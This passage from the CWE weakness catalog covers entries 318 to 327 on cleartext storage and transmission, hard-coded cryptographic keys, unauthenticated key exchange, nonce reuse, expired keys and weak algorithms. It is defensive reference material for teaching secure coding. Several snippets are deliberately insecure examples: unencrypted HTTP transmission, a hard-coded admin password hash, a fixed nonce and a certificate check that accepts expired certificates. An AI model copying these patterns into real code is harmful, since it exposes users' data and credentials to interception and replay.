Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Notes

Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Plaintext Storage in GUI
Software Fault Patterns	SFP23		Exposed Data

CWE-318: Cleartext Storage of Sensitive Information in Executable

Weakness ID : 318 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The application stores sensitive information in cleartext in an executable.

Extended Description

Attackers can reverse engineer binary code to obtain secret data. This is especially easy when the cleartext is plain ASCII. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	312	Cleartext Storage of Sensitive Information	693

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Observed Examples

Reference	Description
CVE-2005-1794	Product stores RSA private key in a DLL and uses it to sign a certificate, allowing spoofing of servers and MITM attacks. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1794*
CVE-2001-1527	administration passwords in cleartext in executable *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1527*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Notes

Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Plaintext Storage in Executable

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
37	Retrieve Embedded Sensitive Data
65	Sniff Application Code

CWE-319: Cleartext Transmission of Sensitive Information

Weakness ID : 319 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors.

Extended Description

Many communication channels can be "sniffed" by attackers during data transmission. For example, network traffic can often be sniffed by any attacker who has access to a network interface. This significantly lowers the difficulty of exploitation by attackers.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	311	Missing Encryption of Sensitive Data	686
ParentOf	V	5	J2EE Misconfiguration: Data Transmission Without Encryption	1

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	311	Missing Encryption of Sensitive Data	686

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	199	Information Management Errors	1852

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality	Read Application Data Modify Files or Directories *Anyone can read the information by gaining access to the channel being used for communication.*	

Detection Methods

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process, trigger the feature that sends the data, and look for the presence or absence of common cryptographic functions in the call tree. Monitor the network and determine if the data packets contain readable commands. Tools exist for detecting if certain encodings are in use. If the traffic contains high entropy, this might indicate the usage of encryption.

Potential Mitigations

Phase: Architecture and Design

Encrypt the data with a reliable encryption scheme before transmitting.

Phase: Implementation

When using web applications with SSL, use SSL for the entire session from login to logout, not just for the initial login page.

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Phase: Operation

Configure servers to use encrypted channels for communication, which may include SSL or other secure protocols.

Demonstrative Examples

Example 1:

The following code attempts to establish a connection to a site to communicate sensitive information.

Example Language: Java *(bad)*

```
try {
    URL u = new URL("http://www.secret.example.org/");
    HttpURLConnection hu = (HttpURLConnection) u.openConnection();
    hu.setRequestMethod("PUT");
    hu.connect();
    OutputStream os = hu.getOutputStream();
    hu.disconnect();
}
catch (IOException e) {
    //...
}
```

Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors.

Observed Examples

Reference	Description
CVE-2002-1949	Passwords transmitted in cleartext. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1949*
CVE-2008-4122	Chain: Use of HTTPS cookie without "secure" flag causes it to be transmitted across unencrypted HTTP.

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4122
CVE-2008-3289	Product sends password hash in cleartext in violation of intended policy. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3289*
CVE-2008-4390	Remote management feature sends sensitive information including passwords in cleartext. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4390*
CVE-2007-5626	Backup routine sends password in cleartext in email. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5626*
CVE-2004-1852	Product transmits Blowfish encryption key in cleartext. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1852*
CVE-2008-0374	Printer sends configuration information, including administrative password, in cleartext. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0374*
CVE-2007-4961	Chain: cleartext transmission of the MD5 hash of password enables attacks against a server that is susceptible to replay (CWE-294). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4961*
CVE-2007-4786	Product sends passwords in cleartext to a log server. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4786*
CVE-2005-3140	Product sends file with cleartext passwords in e-mail message intended for diagnostic purposes. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3140*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	751	2009 Top 25 - Insecure Interaction Between Components	750	1892
MemberOf	C	818	OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection	809	1900
MemberOf	C	858	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)	844	1909
MemberOf	C	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)	844	1909
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure	928	1931
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940
MemberOf	C	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure	1026	1976
MemberOf	C	1148	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)	1133	1991

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Plaintext Transmission of Sensitive Information
The CERT Oracle Secure Coding Standard for Java (2011)	SEC06-J		Do not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	SER02-J		Sign then seal sensitive objects before sending them outside a trust boundary
Software Fault Patterns	SFP23		Exposed Data

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
65	Sniff Application Code
102	Session Sidejacking
117	Interception
383	Harvesting Information via API Event Monitoring
477	Signature Spoofing by Mixing Signed and Unsigned Content

References

[REF-271]OWASP. "Top 10 2007-Insecure Communications". 2007. < http://www.owasp.org/index.php/Top_10_2007-A9 >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-172]Chris Wysopal. "Mobile App Top 10 List". 2010 December 3. < http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/ >.

CWE-321: Use of Hard-coded Cryptographic Key

Weakness ID : 321 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The use of a hard-coded cryptographic key significantly increases the possibility that encrypted data may be recovered.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	798	Use of Hard-coded Credentials	1486
PeerOf	V	259	Use of Hard-coded Password	569
CanFollow	B	656	Reliance on Security Through Obscurity	1285

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	320	Key Management Errors	1859

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *If hard-coded cryptographic keys are used, it is almost certain that malicious users will gain access through the account in question.*	

Potential Mitigations

Phase: Architecture and Design

Prevention schemes mirror that of hard-coded password storage.

Demonstrative Examples

Example 1:

The following code examples attempt to verify a password using a hard-coded cryptographic key.

Example Language: C *(bad)*

```
int VerifyAdmin(char *password) {
    if (strcmp(password,"68af404b513073584c4b6f22b6c63e6b")) {
        printf("Incorrect Password!\n");
        return(0);
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

Example Language: Java *(bad)*

```
public boolean VerifyAdmin(String password) {
    if (password.equals("68af404b513073584c4b6f22b6c63e6b")) {
        System.out.println("Entering Diagnostic Mode...");
        return true;
    }
    System.out.println("Incorrect Password!");
    return false;
```

Example Language: C# *(bad)*

```
int VerifyAdmin(String password) {
    if (password.Equals("68af404b513073584c4b6f22b6c63e6b")) {
        Console.WriteLine("Entering Diagnostic Mode...");
        return(1);
    }
    Console.WriteLine("Incorrect Password!");
    return(0);
}
```

The cryptographic key is within a hard-coded string value that is compared to the password. It is likely that an attacker will be able to read the key and compromise the system.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	719	OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage	629	1873
MemberOf	C	720	OWASP Top Ten 2007 Category A9 - Insecure Communications	629	1873
MemberOf	C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	1878
MemberOf	C	950	SFP Secondary Cluster: Hardcoded Sensitive Data	888	1936

Notes

Other

The main difference between the use of hard-coded passwords and the use of hard-coded cryptographic keys is the false sense of security that the former conveys. Many people believe that simply hashing a hard-coded password before storage will protect the information from malicious users. However, many hashes are reversible (or at least vulnerable to brute force attacks) -- and further, many authentication protocols simply request the hash itself, making it no better than a password.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Use of hard-coded cryptographic key
OWASP Top Ten 2007	A8	CWE More Specific	Insecure Cryptographic Storage
OWASP Top Ten 2007	A9	CWE More Specific	Insecure Communications
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage
Software Fault Patterns	SFP33		Hardcoded sensitive data

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-322: Key Exchange without Entity Authentication

Weakness ID : 322 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software performs a key exchange with an actor without verifying the identity of that actor.

Extended Description

Performing a key exchange will preserve the integrity of the information sent between two entities, but this will not guarantee that the entities are who they claim they are. This may enable an attacker to impersonate an actor by modifying traffic between the two entities. Typically, this involves a victim client that contacts a malicious server that is impersonating a trusted server. If the client skips authentication or ignores an authentication failure, the malicious server may request authentication information from the user. The malicious server can then use this authentication information to log in to the trusted server using the victim's credentials, sniff traffic between the victim and trusted server, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	923	Improper Restriction of Communication Channel to Intended Endpoints	1604
PeerOf	B	295	Improper Certificate Validation	648
PeerOf	B	295	Improper Certificate Validation	648

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1964

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1211	Authentication Errors	2013
MemberOf	C	1214	Data Integrity Issues	2014
MemberOf	C	320	Key Management Errors	1859
MemberOf	C	417	Communication Channel Errors	1865

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *No authentication takes place in this process, bypassing an assumed protection of encryption.*	
Confidentiality	Read Application Data *The encrypted communication between a user and a trusted host may be subject to sniffing by any actor in the communication path.*	

Potential Mitigations

Phase: Architecture and Design

Ensure that proper authentication is included in the system design.

Phase: Implementation

Understand and properly implement all checks necessary to ensure the identity of entities involved in encrypted communications.

Demonstrative Examples

Example 1:

Many systems have used Diffie-Hellman key exchange without authenticating the entities exchanging keys, allowing attackers to influence communications by redirecting or interfering with the communication path. Many people using SSL/TLS skip the authentication (often unknowingly).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	959	SFP Secondary Cluster: Weak Cryptography	888	1938

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Key exchange without entity authentication

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-323: Reusing a Nonce, Key Pair in Encryption

Weakness ID : 323 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

Nonces should be used for the present occasion and only once.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	344	Use of Invariant Value in Dynamically Changing Context	757

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	320	Key Management Errors	1859

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Background Details

Nonces are often bundled with a key in a communication exchange to produce a new session key for each exchange.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *Potentially a replay attack, in which an attacker could send the same data twice, could be crafted if nonces are allowed to be reused. This could allow a user to send a message which masquerades as a valid message from a valid user.*	

Potential Mitigations

Phase: Implementation

Refuse to reuse nonce values.

Phase: Implementation

Use techniques such as requiring incrementing, time based and/or challenge response to assure uniqueness of nonces.

Demonstrative Examples

Example 1:

This code takes a password, concatenates it with a nonce, then encrypts it before sending over a network:

Example Language: C *(bad)*

```
void encryptAndSendPassword(char *password){
    char *nonce = "bad";
    ...
    char *data = (unsigned char*)malloc(20);
    int para_size = strlen(nonce) + strlen(password);
    char *paragraph = (char*)malloc(para_size);
    SHA1((const unsigned char*)paragraph,parsize,(unsigned char*)data);
    sendEncryptedData(data)
}
```

Because the nonce used is always the same, an attacker can impersonate a trusted party by intercepting and resending the encrypted password. This attack avoids the need to learn the unencrypted password.

Example 2:

This code sends a command to a remote server, using an encrypted password and nonce to prove the command is from a trusted party:

Example Language: C++ *(bad)*

```
String command = new String("some command to execute");
MessageDigest nonce = MessageDigest.getInstance("SHA");
nonce.update(String.valueOf("bad nonce"));
byte[] nonce = nonce.digest();
MessageDigest password = MessageDigest.getInstance("SHA");
password.update(nonce + "secretPassword");
byte[] digest = password.digest();
sendCommand(digest, command)
```

Once again the nonce used is always the same. An attacker may be able to replay previous legitimate commands or execute new arbitrary commands.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	959	SFP Secondary Cluster: Weak Cryptography	888	1938

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Reusing a nonce, key pair in encryption

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-324: Use of a Key Past its Expiration Date

Weakness ID : 324 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product uses a cryptographic key or password past its expiration date, which diminishes its safety significantly by increasing the timing window for cracking attacks against that key.

Extended Description

While the expiration of keys does not necessarily ensure that they are compromised, it is a significant concern that keys which remain in use for prolonged periods of time have a decreasing probability of integrity. For this reason, it is important to replace keys within a period of time proportional to their strength.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	672	Operation on a Resource after Expiration or Release	1310
PeerOf	V	298	Improper Validation of Certificate Expiration	659
PeerOf	B	262	Not Using Password Aging	577

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	1855

Nature	Type	ID	Name	Page
MemberOf	C	310	Cryptographic Issues	1858
MemberOf	C	320	Key Management Errors	1859

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *The cryptographic key in question may be compromised, providing a malicious user with a method for authenticating as the victim.*	

Potential Mitigations

Phase: Architecture and Design

Adequate consideration should be put in to the user interface in order to notify users previous to the key's expiration, to explain the importance of new key generation and to walk users through the process as painlessly as possible.

Demonstrative Examples

Example 1:

The following code attempts to verify that a certificate is valid.

Example Language: C *(bad)*

```
if (cert = SSL_get_peer_certificate(ssl)) {
    foo=SSL_get_verify_result(ssl);
    if ((X509_V_OK==foo) || (X509_V_ERRCERT_NOT_YET_VALID==foo))
        //do stuff
}
```

The code checks if the certificate is not yet valid, but it fails to check if a certificate is past its expiration date, thus treating expired certificates as valid.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	959	SFP Secondary Cluster: Weak Cryptography	888	1938

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Using a key past its expiration date

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-325: Missing Required Cryptographic Step

Weakness ID : 325 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product does not implement a required step in a cryptographic algorithm, resulting in weaker encryption than advertised by that algorithm.

Extended Description

Cryptographic implementations should precisely follow the algorithms that define them, otherwise encryption can be weaker than expected.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1153
PeerOf	B	358	Improperly Implemented Security Check for Standard	786

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	310	Cryptographic Issues	1858

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *If the cryptographic algorithm is used for authentication and authorization, then an attacker could gain unauthorized access to the system.*	
Confidentiality Integrity	Read Application Data Modify Application Data *Sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.*	
Accountability Non-Repudiation	Hide Activities *If the cryptographic algorithm is used to ensure the identity of the source of the data (such as digital signatures), then a broken algorithm will compromise this scheme and the source of the data cannot be proven.*	

Observed Examples

Reference	Description
CVE-2001-1585	Missing challenge-response step allows authentication bypass using public key. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1585*

Functional Areas

- Cryptography

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	719	OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage	629	1873
MemberOf	C	720	OWASP Top Ten 2007 Category A9 - Insecure Communications	629	1873
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure	928	1931
MemberOf	C	958	SFP Secondary Cluster: Broken Cryptography	888	1938
MemberOf	C	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure	1026	1976
MemberOf	C	1205	Security Primitives and Cryptography Issues	1194	2011

Notes

Relationship

Overlaps incomplete/missing security check.

Relationship

Can be resultant.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Missing Required Cryptographic Step
OWASP Top Ten 2007	A8	CWE More Specific	Insecure Cryptographic Storage
OWASP Top Ten 2007	A9	CWE More Specific	Insecure Communications

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
68	Subvert Code-signing Facilities

CWE-326: Inadequate Encryption Strength

Weakness ID : 326 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software stores or transmits sensitive data using an encryption scheme that is theoretically sound, but is not strong enough for the level of protection required.

Extended Description

A weak encryption scheme can be subjected to brute force attacks that have a reasonable chance of succeeding using current attack methods and resources.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1344
ParentOf	B	261	Weak Encoding for Password	575
ParentOf	B	328	Reversible One-Way Hash	726

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control Confidentiality	Bypass Protection Mechanism Read Application Data *An attacker may be able to decrypt the data using brute force attacks.*	

Potential Mitigations

Phase: Architecture and Design

Use an encryption scheme that is currently considered to be strong by experts in the field.

Observed Examples

Reference	Description
CVE-2001-1546	Weak encryption *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1546*
CVE-2004-2172	Weak encryption (chosen plaintext attack) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2172*
CVE-2002-1682	Weak encryption *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1682*
CVE-2002-1697	Weak encryption produces same ciphertext from the same plaintext blocks. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1697*
CVE-2002-1739	Weak encryption *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1739*
CVE-2005-2281	Weak encryption scheme *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2281*
CVE-2002-1872	Weak encryption (XOR) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1872*
CVE-2002-1910	Weak encryption (reversible algorithm). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1910*
CVE-2002-1946	Weak encryption (one-to-one mapping). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1946*

Reference	Description
CVE-2002-1975	Encryption error uses fixed salt, simplifying brute force / dictionary attacks (overlaps randomness). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1975*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	719	OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage	629	1873
MemberOf	C	720	OWASP Top Ten 2007 Category A9 - Insecure Communications	629	1873
MemberOf	C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	1878
MemberOf	C	816	OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage	809	1899
MemberOf	C	934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure	928	1931
MemberOf	C	959	SFP Secondary Cluster: Weak Cryptography	888	1938
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046
MemberOf	C	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure	1026	1976

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Weak Encryption
OWASP Top Ten 2007	A8	CWE More Specific	Insecure Cryptographic Storage
OWASP Top Ten 2007	A9	CWE More Specific	Insecure Communications
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
20	Encryption Brute Forcing
112	Brute Force
192	Protocol Analysis

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-327: Use of a Broken or Risky Cryptographic Algorithm

Weakness ID : 327 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The use of a broken or risky cryptographic algorithm is an unnecessary risk that may result in the exposure of sensitive information.

Extended Description

The use of a non-standard algorithm is dangerous because a determined attacker may be able to break the algorithm and compromise whatever data has been protected. Well-known techniques may exist to break the algorithm.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1344
ParentOf	B	328	Reversible One-Way Hash	726
ParentOf	V	780	Use of RSA Algorithm without OAEP	1448
ParentOf	B	916	Use of Password Hash With Insufficient Computational Effort	1594
ParentOf	B	1240	Use of a Risky Cryptographic Primitive	1759
PeerOf	C	311	Missing Encryption of Sensitive Data	686
